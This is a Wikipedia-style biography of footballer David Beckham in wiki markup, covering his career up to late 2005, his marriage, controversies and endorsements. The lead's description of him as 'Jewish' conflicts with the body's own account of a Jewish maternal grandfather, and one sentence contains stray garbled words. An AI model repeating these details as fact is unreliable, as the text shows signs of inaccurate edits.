'''David Beckham''' [[Order of the British Empire|OBE]] (born [[May 2]], [[1975]] in [[Leytonstone]], [[London]]) is a [[Jewish]] [[England|English]] [[football (soccer)|footballer]], widely regarded as the most famous player in the sport.  He currently plays for [[Real Madrid]] and as captain of the [[England national football team|English]] national team. David Beckham is especially noted for the quality of his crossing and the ability to hit [[free-kick]]s particularly from long-range and swinging [[corner kick|corner]]s. He is also famed for his [[celebrity]] lifestyle trappings, [[media]] attention and [[marketing]] potential.

He signed schoolboy forms for [[Manchester United F.C.|Manchester United]] in [[1989]], became a trainee in [[1991]] and signed a professional contract with them soon after making his first first-team appearance in [[1992]].  By [[1995]], he had established himself as a first-team player at United and won [[FA Premier League|Premier League]] and [[FA Cup]] winners' medals with the club in [[1996]]. He was soon selected to play for England, but after winning another league medal in [[1997]], he was sent off in a [[Football World Cup|World Cup]] match against [[Argentina national football team|Argentina]] for kicking [[Diego Simeone]].  Beckham became a figure of public hatred among some English football supporters, but he redeemed himself with his strong play and helped United win the league, FA Cup, and [[UEFA Champions League]] the following year to complete an unprecedented treble.  His relationship with the club's manager [[Alex Ferguson|Sir Alex Ferguson]] began to deteriorate, though, and although he won further league championships with United in [[2000]] and [[2001]], he left the club to join [[Real Madrid]] in 2003.  While his performances for Real Madrid have attracted praise, the team itself has been in turmoil. As of November [[2005]], Beckham has had 5 different coaches in [[Real Madrid]] and failed to win any major trophies with his struggling new team.  

Beckham's relationship with and marriage to the former [[Spice Girls|Spice Girl]] [[Victoria Beckham|Victoria (née Adams)]] has contributed towards him becoming a major celebrity away from football, and his name was searched for on Google more than that of any other sporting personality in 2003 and 2004.{{ref|googlehits}} The Beckhams have three sons, Brooklyn, born [[March 4]], [[1999]], Romeo, born [[September 1]], [[2002]], and Cruz, born [[February 20]], [[2005]].

==Childhood and early career==
Beckham was born in [[Leytonstone]], east [[London]], the son of Ted Beckham (a kitchen fitter) and Sandra West (a hairdresser). In his first [[autobiography]] My World, which was serialised in [[OK!|OK! Magazine]], David was quoted as saying; &quot;I've probably had more contact with [[Judaism]] than with any other religion.&quot; Beckham is Jewish on his maternal grandfather's side. (Presently, Beckham and his wife have embraced the mystic Jewish offshoot of [[Kabbalah]]. Both have also obtained matching tattoos from the [[Song of Songs]] that says, in Hebrew: “I am for my beloved, and my beloved is for me, who grazes sheep in rose-like pastures.”) The Beckhams were fanatical Manchester United supporters, who would regularly travel to [[Old Trafford (football)|Old Trafford]] by coach and frequently went to away games. David was a strong cross-country runner who regularly finished first in his age group in the [[Essex]] cross-country championships, but he had inherited his parents' love of Manchester United and his main passion was football. At the age of eleven, he attended one of [[Bobby Charlton]]'s soccer schools in [[Manchester]] and won the chance to take part in a training session at [[FC Barcelona]] in a talent competition. He was Manchester United's mascot for a match against [[West Ham United F.C.|West Ham United]] in [[1986]]. The young Beckham had trials with [[Leyton Orient F.C.|Leyton Orient]] and attended [[Tottenham Hotspur F.C.|Tottenham Hotspur's]] school of excellence, but once Manchester United offered him a place there was no doubting which club he would go to.

He signed schoolboy forms at United on his fourteenth birthday in [[1989]], then signed a [[Youth Training Scheme]] contract on [[8 July]] [[1991]]. He was part of an exceptionally talented group of young players at the club, including the future internationals [[Paul Scholes]], [[Nicky Butt]], [[Ryan Giggs]] [[Phil Neville]] and [[Gary Neville]]. These players later helped the club to win the [[FA Youth Cup]] in May [[1992]], with Beckham scoring in the second leg of the final against [[Crystal Palace F.C.|Crystal Palace]]. He had his first appearance for United's first team that year, as a substitute in a [[League Cup]] match against [[Brighton &amp; Hove Albion F.C.|Brighton &amp; Hove Albion]], and signed his first professional contract shortly afterwards.  United reached the final of the Youth Cup again the following year, with Beckham playing in their defeat by [[Leeds United F.C.|Leeds United]], and he won another medal in [[1994]] when the club's reserve team won their league. He went to [[Preston North End F.C.|Preston North End]] on loan in the 1994-95 season to get some first team experience, then made his first [[FA Premier League|Premier League]] appearance for Manchester United on [[2 April]] [[1995]], in a goalless draw against [[Leeds United F.C.|Leeds]].

==Manchester United==
===Becoming a first team player (1995-98)===
United manager [[Alex Ferguson]] had large confidence in the club's young players and when three of his first-team players left the club at the end of the 1994-95 season, he made the  decision to let the youth team players replace them instead of buying players from other clubs.  The criticism of Ferguson increased when United started the season with a 3&amp;ndash;1 defeat at [[Aston Villa F.C.]]{{ref|villadefeat}}, with Beckham scoring United's only goal of the game, but many of the doubters were won over when the team won their next five matches. Beckham became a regular player in the team and helped them to win the Premiership and [[FA Cup]] double that season, scoring the winner in the semi-final against [[Chelsea F.C|Chelsea]] and also supplying the corner kick cross that [[Eric Cantona]] scored with a volley from in the [[FA Cup]] Final.

In August [[1996]], Beckham became something of a household name when he scored a spectacular goal  in a match against [[Wimbledon F.C.|Wimbledon]]. With United 2&amp;ndash;0 ahead, Beckham noticed that Wimbledon's goalkeeper [[Neil Sullivan]] was standing a long way out of his goal, and hit a shot from the halfway line that floated over the goalkeeper and into the net. [[Sky Sports]]' commentator [[Martin Tyler]]'s words &quot;You'll see that over and over again&quot; proved prophetic as the goal was voted [[FA Premier League|Premier League]] 'Goal of the Decade' in [[2003]]. Beckham's name was frequently mentioned in the press, and he made his first appearance for the [[England national football team]] on [[1 September]], [[1996]] in a [[Football World Cup|world cup]] qualifying a match against [[Moldova national football team|Moldova]].  He became an automatic first-choice player at United that season, scoring a series of blistering goals and sublime free kicks, thus helping them to retain their league championship. He was voted [[PFA Young Player of the Year]] by his peers.

In 1998, Beckham started dating the [[Spice Girl]] [[Victoria Beckham|Victoria Adams]] and was pictured wearing a [[sarong]] while they were on holiday together.  Their relationship attracted a great deal of media interest.  United started the season well, but their results deteriorated when several players became injured and they finished the season in second place.

===World Cup 1998===
Beckham had played in all of England's qualifying matches for the {{wc|1998}} and travelled with the England squad to the finals in [[France]], but the team's manager [[Glenn Hoddle]] publicly accused him of not concentrating on the tournament,{{ref|notconcentrating}} and he didn't start in either of England's first two matches. He was picked for their third match against [[Colombia national football team|Colombia]], which England needed to win to ensure their progress in the tournament, and played well, scoring one of his trademark free kicks in a 2&amp;ndash;0 victory.

In the second round of that competition, he received a [[red card]] in England's match against [[Argentina national football team|Argentina]], for kicking out at [[Diego Simeone]] following a foul challenge by the Argentine. As Beckham lay on the pitch he held out his right leg as Simeone backed into it and fell over. Simeone later admitted to trying to get Beckham sent off by over-reacting to the kick and then, along with other members of his team, waving imaginary red cards at the referee, urging him to send Beckham off.{{ref|simeoneconfession}}  The match finished in a draw and England were eliminated in a [[penalty shootout]]. Many supporters and journalists blamed Beckham for England's elimination and he became the target of severe criticism and abuse, including the hanging of an [[effigy]] outside a London [[public house|pub]], and the ''[[Daily Mirror]]'' newspaper printing a [[darts|dartboard]] with a picture of him in the middle.{{ref|dartboard}}

===The treble season (1998-99)===
In the 1998–99 season, he was part of the United team that won the &quot;treble&quot; — Premier League, FA Cup and [[UEFA Champions League|Champions League]], a unique feat in English football.  There had been speculation that the criticism that he had received after being sent off in the World Cup would lead to him leaving England, but he decided to stay at Manchester United.  Throughout the season, Beckham was jeered by opposition supporters whenever he touched the ball, but he consistently played well and his crossing provided a significant number of goals for United's forwards [[Dwight Yorke]] and [[Andy Cole]].  United's supporters had mostly forgiven him for the problems he'd had with England, and were frequently heard to chant &quot;Argentina&quot; in response to the other supporters' taunts. On a more positive note for Beckham, Victoria gave birth to their first child Brooklyn on [[4 March]] [[1999]].

United needed to win their final league match of the season at home to [[Tottenham Hotspur F.C.|Tottenham Hotspur]] to ensure they would win the league championship, but Tottenham took an early lead in the match.  Beckham scored their equaliser and United went on to win the match and the league.  Beckham played in United's FA Cup final win over Newcastle and played in centre-midfield for the UEFA Champions League final as United's first choice centre-midfielders were suspended for the match.

United were losing the Champions League final 1&amp;ndash;0 at the end of normal time, but won the trophy by scoring two goals in stoppage time.  Both of the goals came from corners taken by Beckham, and this, combined with his performances over the rest of the season, led to him finishing runner up for 1999's [[European Footballer of the Year]] award.

===Wedding===
He married Victoria, &quot;Posh Spice&quot; from the Spice Girls, at [[Luttrellstown Castle]], [[Ireland]] on [[4 July]] [[1999]]. The wedding attracted enormous media coverage. Beckham's teammate [[Gary Neville]] was the best man, and Brooklyn was the ring bearer.  The media were kept away from the ceremony as the Beckhams had a deal with [[OK!|OK! Magazine]] giving them exclusive rights for photographs.  They were later accused of bad taste after photographs showed that they had sat on [[throne]]s for the ceremony.  437 staff were employed for the wedding reception, which was estimated to have cost UK£500,000.{{ref|wedding}}

===1999-2000 season===
Despite Beckham's achievements in the 1998-99 season, he was still unpopular among opposition fans and many journalists, and he was heavily criticised after being sent off for a deliberate foul in Manchester United's [[FIFA World Club Championship|World Club Championship]] match against [[Necaxa]].  It was suggested in the press that his wife was a bad influence on him, and that it might be in United's interests to sell him,{{ref|necaxa}} but his manager publicly backed him and he stayed at the club.

The relationship between Ferguson and Beckham began to deteriorate, possibly as a result of Beckham's fame and commitments away from football. In 2000, the club gave Beckham permission to miss training to look after his son Brooklyn, who had [[gastroenteritis]], but Ferguson was furious when Victoria Beckham was photographed at a London Fashion Week event on the same night, and he realised that Beckham would have been able to train if Victoria had looked after Brooklyn that day.  He responded by fining Beckham the maximum amount that was permitted (two weeks' wages &amp;ndash; then £50,000) and dropping him for a crucial match against United's rivals [[Leeds United F.C.|Leeds United]]. He later criticised Beckham in an updated edition of his 1999 autobiography, claiming he hadn't been &quot;fair to his team mates&quot;.{{ref|missedtraining}} Beckham had a good season for his club, though, and helped United to win the Premier League by a record margin.

===Winning over the England fans===
The abuse that Beckham was receiving from English supporters peaked during England's 3&amp;ndash;2 defeat by Portugal in {{Ec2|2000}}, when a group of England supporters taunted him throughout the match with chants including &quot;we hope your kid dies of cancer&quot;.{{ref|scum}}  Beckham responded with [[the finger|a one-fingered gesture]] and, while the gesture attracted some criticism, many of the newspapers that had previously encouraged his vilification asked their readers to stop abusing him.{{ref|aboutturn}}

Following [[Kevin Keegan]]'s resignation as England manager in October 2000, Beckham was promoted to team captain by the caretaker manager [[Peter John Taylor|Peter Taylor]], and then kept the role under new manager [[Sven-Göran Eriksson]]. He helped England to qualify for the {{Wc|2002}} Finals, with their performances including an impressive 5&amp;ndash;1 victory over [[Germany national football team|Germany]] in [[Munich]]. The final step in Beckham's conversion from villain to hero happened in England's 2&amp;ndash;2 draw against [[Greece national football team|Greece]] on [[6 October]] [[2001]]. England needed to win or draw the match in order to qualify for the World Cup, but were losing 2&amp;ndash;1 with little time remaining. With [[Teddy Sheringham]] being fouled some eight yards outside the Greek penalty area, England was awarded a free-kick and Beckham  ensured England's qualification with a curling strike of the kind which had become his trademark. Shortly afterwards, he was voted the [[BBC Sports Personality of the Year]] for 2001.

===Metatarsal injury===
On [[April 10]], [[2002]], Beckham was injured during a Champions League match against [[Deportivo La Coruña]], breaking the [[metatarsal]] bones of his left foot. There was speculation that the injury might have been caused deliberately, as the player who had injured Beckham was Argentinian [[Aldo Duscher]] and England and Argentina were due to meet in that year's World Cup {{ref|duscher}}. Those speculations were unfounded, though, and the accusations were never proved. The injury prevented Beckham from playing for United for the rest of the season, but he signed a three-year contract in May, following months of negotiations with the club, mostly concerning extra payments for his image rights. The income from his new contract and the many endorsement deals he had made him the highest-paid player in the world at the time. {{ref|lastunitedcontract}}

===World Cup 2002 and final season at United===
He was partially fit by the time of the {{wc|2002}} and played in the first match against [[Sweden national football team|Sweden]]. Beckham scored the winning goal of the match against Argentina, with a penalty, and that caused Argentina to fail to qualify for the playoff stage. England were eventually knocked out of the tournament by  [[Brazil national football team|Brazil]] in the Quarter-Finals.

Following an injury early in the 2002-03 season, Beckham was unable to regain his place in the team, with [[Ole Gunnar Solskjær]] having replaced him on the right side of midfield.  His relationship with his manager deteriorated further on [[15 February]] [[2003]] when, in the changing room following a defeat to [[Arsenal F.C.|Arsenal]], Alex Ferguson kicked a football boot which struck Beckham over the eye, causing a cut which required stitches.  The incident led to a great deal of transfer speculation involving Beckham, with [[bookmakers]] offering odds on whether he or Ferguson would be first to leave the club.{{ref|boot}} Although the team had started the season badly, their results improved greatly from December onwards and they won the league. In the second leg of the Champions League quarter final tie against Real Madrid, Manchester United were trailing 3-1 from the first leg at the [[Santiago Bernabéu Stadium|Bernabéu Stadium]]. In the return leg at [[Old Trafford]] on [[23 April]], [[2003]], Beckham was controversially left on the bench for the start of the match. It got even worse for United when Real Madrid went 1-0 up inside the opening 10 minutes through [[Ronaldo]]. At half time it was 1 all with [[Ruud van Nistelrooy]] levelling matters just before the break. Ronaldo scored two more goals after the break in the space of eight minutes to seal his hat-trick, with [[Iván Helguera]] scoring an own goal for United in between Ronaldo's two goals. In the 63rd minute, with United trailing 3-2 on the night and 6-3 on aggregate, Ferguson elected to bring on Beckham at the expense of [[Juan Sebastián Verón]]. Six minutes after coming off the bench Beckham had a free kick which he dispatched into the net with great power and accuracy, with the ball coming off the underside of the crossbar. In the 84th minute Beckham managed to reach the ball in a goalmouth scramble before Helguera to poke the ball over the line to score his second of the night. United won on the night thanks to Beckham's heroic's, but went out 6-5 on aggregate, needing two goals to progress due to the away goal ruling. Beckham also scored the winning goal in their final match of the season against [[Everton F.C.|Everton]]. He was still a first-choice player for England, however, and he was awarded an OBE for services to football on [[13 June]].{{ref|obe}}

==Real Madrid==
On [[June 17]], [[2003]], Beckham signed a four-year [[contract]] with [[Real Madrid]] of [[Spain]], potentially worth up to [[Euro|€]]35 million ([[Pound Sterling|£]]25 million, [[United States dollar|USD]] 41 million).  The transfer was completed on [[2003-07-01]] and made him the third Englishman to ever play for the club after [[Laurie Cunningham]] in the [[1980s]] and [[Steve McManaman]] in the late [[1990s]] to early [[2000s]].

It was speculated that Real's desire to sign him came from the merchandising opportunities he would bring as well as from his football ability.  For example, Real Madrid shirts bearing his name and number sold out in [[Madrid]] on the day his transfer was completed and the club were expected to receive €624,000 for the sale of the shirts.  At the time the transfer was announced, Beckham and his wife were on a week-long tour of Asia promoting beauty products, [[chocolate]], motor oil, and [[mobile phone]]s. It was reported that this tour would earn more money for the Beckhams than the first year of David's Real Madrid contract.  

Although Beckham had worn the number seven shirt for Manchester United and England, he was unable to wear it at Madrid as [[Raúl González|Raúl]] had the right to wear it written into his contract.  He chose to wear 23 instead, in tribute to [[Michael Jordan]] who had worn that number for the [[Chicago Bulls]].

===2003-04 season===
====Alleged affair with Rebecca Loos====
Beckham immediately became a favourite with the Real Madrid supporters, scoring five times in his first 16 matches, but the team, whose club president expected them to win either the Spanish league or the Champions League each season, were not performing well.  Beckham had further problems in April 2004, when the British tabloid ''[[News of the World]]'' carried claims by his former personal assistant [[Rebecca Loos]] that he and Loos had had an extramarital affair. A week later, the Malaysian-born Australian model [[Sarah Marbeck]] claimed that she had slept with Beckham on two occasions. Beckham dismissed both accusations as &quot;ludicrous&quot;.{{ref|loos}}

Near the end of the 2003-04 season, ''[[The Daily Telegraph]]'' reported that Beckham's major sponsors were trying to arrange for him to return to England for the 2004-05 season. Sources within the family told the ''Telegraph'' that Beckham would almost certainly be back in London. Real Madrid denied rumours that they were interested in selling Beckham, and banned British reporters from access to the team.

Real Madrid finished the season in a diasppointing fourth place like min, and were knocked out of the [[UEFA Champions League]] at the quarter-final stage.
[[Image: Beckham_Euro2004.jpg |frame|right|David Beckham on international duty
&lt;br/&gt;Image © http://soccer-europe.com]]

====Disappointment at Euro 2004====
Beckham played in all of England's matches at {{Ec2|2004}}, but the tournament was a disappointment for him. He had a penalty saved in England's 2-1 defeat to [[France national football team|France]] and missed another in a [[penalty shootout (football)|penalty shootout]] in the quarter final against [[Portugal national football team|Portugal]].  England lost the shootout and went out of the competition.

===2004-05 season===
In July 2004, while David was in pre-season training in Spain, an intruder scaled a wall at the Beckhams' home while carrying a can of petrol. Victoria and their children were in the house at the time, but security guards apprehended the man before he reached the house.{{ref|intruder}}

====Deliberate booking====
Beckham made more headlines on [[9 October]] when he admitted he had intentionally fouled [[Ben Thatcher]] in an England match against [[Wales national football team|Wales]] in order to get himself booked. Beckham was due to receive a one-match suspension for his next [[yellow card|caution]], and picked up an injury which he knew would keep him out of England's next match, so he deliberately fouled Thatcher in order to serve his suspension in a match that he would have had to miss anyway.  [[The Football Association]] asked Beckham for an explanation of his actions and he admitted that he had &quot;made a mistake&quot; and apologised.{{ref|walesbooking}}

In November 2004 it was reported that Real Madrid intended to offer Beckham a two-year extension to his contract, which would effectively keep him in Madrid for the remainder of his playing career. 
The following month, the announcement of plans for the christening of the Beckhams' two children, including the construction of a fake [[Gothic architecture|Gothic]] chapel for £120,000 on the grounds of their [[Berkshire]] estate, were received with some ridicule, especially as neither are held to be strongly religious.

Beckham became a [[UNICEF]] [[List of UNICEF Goodwill Ambassadors|goodwill amabassador]] in January 2005, having supported the charity for a number of years.{{ref|unicef}}

Real Madrid had another disappointing season, finishing second in the league to [[FC Barcelona|Barcelona]] and only reaching the last sixteen in the Champions League.

===2005-06 season: three sendings off===
In [[October 2005]], while playing in the World Cup Qualifying match against [[Austria national football team|Austria]], Beckham became the first England captain to be sent off, and the first player to be sent off twice while playing for England. Nonetheless, England held on to win the match 1-0 and later qualified for the [[Football World Cup, 2006|2006 tournament]] due to results elsewhere. Four days later they beat [[Poland national football team|Poland]] 2-1 to top the qualifying group.

Shortly afterwards, Beckham was sent off while playing in a league match for Real Madrid against [[Valencia CF|Valencia]].  Having received a [[yellow card]], he appeared to sarcastically applaud the referee and was given a second yellow card, causing an automatic dismissal, athough the dismissal was cancelled on appeal two days later.

On [[December 3]] [[2005]], in the Real Madrid v Getafe match in the Spanish league, Beckham was again sent off in the 58th minute for a rash tackle.

Beckham established two football academies bearing his name, one in [[Los Angeles]] and one in East [[London]]. He owns a company called Footwork Productions Ltd. The turnover of the company equates to David Beckham earning almost £47,500 every day, before expenses.

In January, Beckham was [http://www.thebookstandard.com/bookstandard/search/article_display.jsp?vnu_content_id=1001842661 named a judge for the 2006 British Book Awards].

==Milestones==
Beckham made his 85th appearance for England in [[2005]] and is expected to captain the team at the {{Wc|2006}} in Germany. If so, he would become only the sixth England player to represent his country at three World Cup competitions (although [[Sol Campbell]] and [[Michael Owen]] are expected to achieve this feat at the same time), and the fourth (after [[Billy Wright (footballer)|Billy Wright]], [[Bobby Moore]] and [[Bryan Robson]]) to captain the team at more than one World Cup. Beckham is also a reasonable candidate to record 100 appearances for his country. He captained his country for a landmark 50th time in the friendly international against Argentina in November 2005. Beckham is one of only four players to have appeared 100 times in the Champions League.{{ref|100apps}}

==Miscellaneous==
Early on in his career Beckham secured a number of lucrative sponsorship deals including [[Brylcreem]], [[Adidas]], [[Vodafone]] (which ended in July 2005) and [[Diesel (clothing company)|Diesel]].  Despite the USA's [[Soccer in the United States|uneven acceptance of soccer,]] Beckham's recognition in the USA is strong enough to enable him to appear in print and television advertising for various sponsors, including [[Global Gillette|Gillette razors]].

Following his move to Real Madrid and the disappointment of Euro 2004, British media interest in the Beckham's has faded despite an alleged affair with [[Rebecca Loos]], his former personal assistant. For the first time, the Beckham 'brand' had been tainted.

He has become more well known in [[North America]] since the success of the British [[film]] ''[[Bend It Like Beckham]]''. It is about a British [[Sikh]] girl who idolises David Beckham and harbours ambitions of being a football player.   

Allegedly, in May 2003 Manchester United manager [[Sir Alex Ferguson]] ordered Beckham not to wear his hair band during matches. It has been speculated that he believed it to be too [[effeminate]].  Beckham is viewed by some as the most famous example of [[metrosexual|metrosexuality]], a type of personality which combines feminine and masculine characteristics.

He has bought a multi-million dollar home in [[The Palm]], [[Jumeirah]], in [[Dubai]], [[United Arab Emirates]].

Some regarded Beckham as instrumental in the success of the Olympic bid for [[London 2012]].

At the opening ceremony of the [[2002 Commonwealth Games]], Beckham escorted the then six-year-old [[Kirsty Howard]] as she presented the Jubilee Baton to the Queen. Howard’s public notability first arose after having held Beckham’s hand as he led England onto the pitch for their crucial [[2002 World Cup]] qualifier against Greece (October 06, 2001; Old Trafford, 2-2). The pair have continued to enjoy a long-standing association.

==Quotations {{fact}}==
&quot;10 heroic lions, one stupid boy&quot; &amp;mdash; ''Daily Mirror'' headline after Beckham's sending off against Argentina.

&quot;David Beckham is Britain's finest striker of a football not because of God-given talent but because he practises with a relentless application that the vast majority of less gifted players wouldn't contemplate&quot; &amp;mdash; [[Sir Alex Ferguson]] (1999){{ref|mml137}}

&quot;He cannot kick with his left foot, he cannot head a ball, he cannot tackle, and he doesn't score many goals. Apart from that he's alright.&quot; — [[George Best]]

&quot;Without being too harsh on David Beckham, he cost us the match.&quot; - [[Ian Wright]], former England striker

&quot;David Beckham must never go near a penalty kick again!&quot; — [[The Sun (newspaper)|The Sun]]

&quot;We may be a small country but we're a great one, too. The country of Shakespeare, Churchill, the Beatles, Sean Connery, Harry Potter. David Beckham's right foot. David Beckham's left foot.&quot;
- From the film ''[[Love Actually]]'', said by [[Hugh Grant]], posed as Britain's [[Prime Minister]]

&quot;It's the time for Manchester United with BECKHAM! That's absolutely brilliant! Take a bow David Beckham. A goal you'll see over and over again. From his half, certainly it was on the half way line. And ''that'' is truly outstanding!''-[[Martin Tyler]] commentating on [[August 21]] [[1996]], [[Manchester United F.C.|Manchester United]] vs. [[Wimbledon F.C.|Wimbledon]]''

==References==
===Books===
* {{cite book
 | last = Beckham | first = David
 | title = David Beckham: My Side
 | publisher = HarperCollinsWillow
 | year = 2002
 | id = ISBN 0007157320
 }}
* {{cite book
 | last = Beckham | first = David
 | coauthors = Freeman, Dean
 | title = Beckham: My World
 | publisher = Hodder &amp; Stoughton Ltd
 | year = 2001
 | id = ISBN 0340792701
 }} 
* {{cite book
 | last = Beckham | first = David
 | coauthors = Watt, Tom
 | title = Beckham: Both Feet on the Ground
 | publisher = HarperCollins
 | year = 2003
 | id = ISBN 0060570938
 }} 
* {{cite book
 | last = Crick | first = Michael
 | title = The Boss — The Many Sides of Alex Ferguson
 | publisher = Pocket Books
 | year = 2003
 | id = ISBN 0-7434-2991-5
 }}
* {{cite book
 | last = Ferguson | first = Alex
 | coauthors = McIlvanney, Hugh
 | title = Managing My Life — My Autobiography
 | publisher = Hodder &amp; Stoughton
 | year = 1999
 | id = ISBN 0-340-72855-8
 }}

===Online===
* {{cite web
 | title = Biography on manutd.com
 | url = http://www.manutd.com/bio/bio.sps?iBiographyID=2533
 | accessdate = October 3
 | accessyear = 2005
 }}
* {{cite web
 | title = Biography on fifa.com
 | url = http://www.fifa.com/en/mens/awards/index/0,2419,33127,00.html?articleid=33127
 | accessdate = October 3
 | accessyear = 2005
 }}
*[http://news.bbc.co.uk/ BBC News]
*[http://www.dispatch.co.uk/ Dispatch Online]
*[http://www.soccernet.com/ ESPN Soccernet]
*[http://www.manchesteronline.co.uk Manchester Online]
*[http://www.newstatesman.com/ New Statesman]

==Notes==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnote3]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step3.
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnote3]] that explains how to do that.
   NOTE: It is important to add footnotes in the right order in the list!
 --&gt;
&lt;div style=&quot;font-size: 85%&quot;&gt;
#{{note|googlehits}} {{cite web
 | title = 2003 Year-End Google Zeitgeist
 | work = Google.com
 | url = http://www.google.com/press/zeitgeist2003.html 
 | accessdate = October 9
 | accessyear = 2005
 }}, {{cite web
 | title = 2004 Year-End Google Zeitgeist
 | work = Google.com
 | url = http://www.google.com/press/zeitgeist2004.html 
 | accessdate = October 9
 | accessyear = 2005
 }}
#{{note|villadefeat}} The most famous comment was [[Alan Hansen]]'s &quot;You can't win anything with kids.&quot;, quoted in ''The Boss'' 405.  Beckham scored United's goal from a distance of around 30 metres.
#{{note|notconcentrating}} {{cite web
 | title = Beckham Blasts Hoddle
 | work = Dispatch Online, [[29 June]] [[1998]]
 | url = http://www.dispatch.co.za/1998/06/29/sport/HODDLE.HTM 
 | accessdate = October 5
 | accessyear = 2005
 }}
#{{note|simeoneconfession}} {{cite web
 | title = Simeone admits trying to get Beckham sent off
 | work = Rediff Sports, [[19 May]] [[2002]]
 | url = http://www.rediff.com/sports/2002/may/19wc3.htm 
 | accessdate = October 26
 | accessyear = 2005
 }}
#{{note|dartboard}} {{cite web
 | title = Beckham's Darkest Hour
 | work = Article on official UEFA website
 | url = http://en.uefa.com/news/newsId=27844,printer.htmx 
 | accessdate = October 6
 | accessyear = 2005
 }} 
#{{note|wedding}} {{cite web
 | title = Wedded spice
 | work = BBC News, [[5 July]] [[1999]]
 | url = http://news.bbc.co.uk/1/hi/special_report/1999/07/99/the_posh_wedding/385866.stm 
 | accessdate = December 2
 | accessyear = 2005
 }}
#{{note|necaxa}} {{cite web
 | title = Man Utd's flawed genius?
 | work = BBC News, [[7 January]] [[2000]]
 | url = http://news.bbc.co.uk/1/hi/sport/football/593905.stm 
 | accessdate = October 6
 | accessyear = 2005
 }}
#{{note|missedtraining}} Quoted in ''The Boss'' 468.
#{{note|scum}} A reference to Brooklyn. {{cite web
 | title = Leader — Play games behind closed doors
 | work = New Statesman, [[26 June]] [[2000]]
 | url = http://www.newstatesman.com/200006260003 
 | accessdate = October 4
 | accessyear = 2005
 }}
#{{note|aboutturn}} {{cite web
 | title = Media sympathy for Beckham's gesture
 | work = BBC News, [[14 June]] [[2000]]
 | url = http://news.bbc.co.uk/1/hi/euro2000/teams/england/790657.stm 
 | accessdate = October 4
 | accessyear = 2005
 }}
#{{note|duscher}} {{cite web
 | title = Did 'hatchet man' target Beckham? 
 | work = ESPN Socernet, [[2 April]] [[2002]]
 | url = http://www.soccernet.com/championsleague/news/2002/0402/20020411featwright.html 
 | accessdate = October 7
 | accessyear = 2005
 }}
#{{note|lastunitedcontract}} {{cite web
 | title = Beckham signs new contract
 | work = BBC News, May 2002
 | url = http://news.bbc.co.uk/sport3/worldcup2002/hi/team_pages/england/newsid_1976000/1976699.stm 
 | accessdate = October 7
 | accessyear = 2005
 }}
#{{note|boot}} {{cite web
 | title = Will Becks give Man Utd the boot?
 | work = BBC News, [[18 February]] [[2003]]
 | url = http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/2775269.stm 
 | accessdate = October 6
 | accessyear = 2005
 }}
#{{note|obe}} {{cite web
 | title = Beckham's pride at OBE
 | work = BBC News, [[13 June]] [[2003]]
 | url = http://news.bbc.co.uk/sport1/hi/football/2988104.stm 
 | accessdate = October 6
 | accessyear = 2005
 }}
#{{note|loos}} {{cite web
 | title = Beckham to stay in Spain
 | work = BBC News, [[20 May]] [[2004]]
 | url = http://news.bbc.co.uk/sport1/hi/football/europe/3733607.stm 
 | accessdate = October 7
 | accessyear = 2005
 }}
#{{note|intruder}} {{cite web
 | title = Intruder alert for Victoria Beckham
 | work = Manchester Online, [[20 July]] [[2004]]
 | url = http://www.manchesteronline.co.uk/news/s/124/124434_intruder_alert_for_victoria_beckham.html 
 | accessdate = October 9
 | accessyear = 2005
 }}
#{{note|walesbooking}} {{cite web
 | title = FA wants explanation from Beckham
 | work = BBC News, [[14 October]] [[2004]]
 | url = http://news.bbc.co.uk/sport1/hi/football/internationals/3735276.stm 
 | accessdate = October 6
 | accessyear = 2005
 }}
#{{note|unicef}} {{cite web
 | title = David Beckham, Goodwill Ambassador
 | work = UNICEF official website
 | url = http://www.unicef.org.uk/celebrity/celebrity_biography.asp?celeb_id=27&amp;nodeid=celeb27&amp;section=2 
 | accessdate = October 9
 | accessyear = 2005
 }}
#{{note|100apps}} As of December 2005.  The others are [[Paolo Maldini]], [[Gary Neville]] and [[Raúl González|Raúl]].
#{{note|mml137}} ''Managing My Life'' 137.
&lt;/div&gt;

==External links==
===Football career profiles===
*[http://www.footballdatabase.com/site/players/index.php?dumpPlayer=103 FootballDatabase provides David Beckham's profile and stats]
*[http://www.thefa.com/England/SeniorTeam/Players/Postings/2004/03/David+Beckham+Real+Madrid.htm David Beckham biography from thefa.com]
*[http://www.realmadrid.com/articulo/rma433.htm David Beckham profile from realmadrid.com]
*[http://www.imdb.com/name/nm0065743/bio Biography on the Internet Movie Database]
*[http://www.aceshowbiz.com/celebrity/david_beckham/ Biography on the AceShowBiz Database]
*[http://www.askmen.com/men/sports/30_david_beckham.html David Beckham profile — AskMen.com]
*[http://www.lbwf.gov.uk/index/leisure/places-of-interest/beckham-trail.htm Beckham Trail in Waltham forest] where David was born and raised
*[http://www.davidbeckhamacademy.com/main.html The David Beckham Academy] — opening in London summer 2005 and in Los Angeles in late 2005.

===Fan sites and fanzines===
*[http://www.beckham.com.ar Beckham.com.ar — pictures, profile, biography and titles]
*[http://www.david-beckham.us David Beckham] — unofficial fan website.
*[http://www.ceca-raznatovic.com/David-Beckham/index.html David Beckham Fan Website] 
*[http://www.galleryofcelebrities.com/beckham.htm David Beckham Gallery]
*[http://www.manutdzone.com/legends/DavidBeckham.htm Old Trafford Legends: David Beckham]
*[http://www.beckham-magazine.com/ Beckham Magazine] — fanzine with a lot of information and pictures and a very active forum (and a lot of pop-ups).
*[http://www.david-beckham.dk/ David-Beckham.dk] — Danish fansite

===Official commercial websites===
*http://www.coty.com/WebContent.asp?CO=1150&amp;Sec=2&amp;Sub=15&amp;F=David_and_Victoria_Beckham&amp;Item=2
*http://www.19.co.uk/ar.asp?AID=18

{{start box}}  
{{succession box|title=[[PFA Young Player of the Year]]|before=[[Robbie Fowler]] |after=[[Michael Owen]]|years=1997}} 
{{succession box|title=[[BBC Sports Personality of the Year]]|before=[[Steve Redgrave]] |after=[[Paula Radcliffe]]|years=2001}}
{{end box}}

[[Category:English footballers|Beckham, David]]
[[Category:England footballers|Beckham, David]]
[[Category:England under-21 footballers|Beckham, David]]
[[Category:English Premiership players|Beckham, David]]
